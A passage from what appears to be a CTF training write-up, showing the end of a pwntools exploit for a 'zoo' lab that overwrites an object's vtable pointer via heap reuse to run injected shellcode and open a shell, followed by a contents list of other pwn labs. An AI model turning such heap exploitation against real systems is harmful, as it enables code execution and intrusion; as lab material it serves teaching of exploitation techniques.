p.sendlineafter(":", sc + p64(nameofzoo))
add_dog("a"*8,0)
add_dog("b"*8,1)
remove_ani(0)
fake_vptr = nameofzoo + len(sc)
add_dog("c"*72 + p64(fake_vptr),2)
listen(0)
p.interactive()

CATALOG
  1. 1. Outline
  2. 2. lab1-sysmagic
  3. 3. lab2-orw.bin
  4. 4. lab3-ret2sc
  5. 5. lab4-ret2lib
  6. 6. lab5-simplerop
  7. 7. lab6-migration
  8. 8. lab7-crack
  9. 9. lab8-craxme
  10. 10. lab9-playfmt
  11. 11. lab10-hacknote
  12. 12. lab11-bamboobox
  13. 13. lab12-secretgarden
  14. 14. lab13-heapcreator
  15. 15. lab14-magicheap
  16. 16. lab15-zoo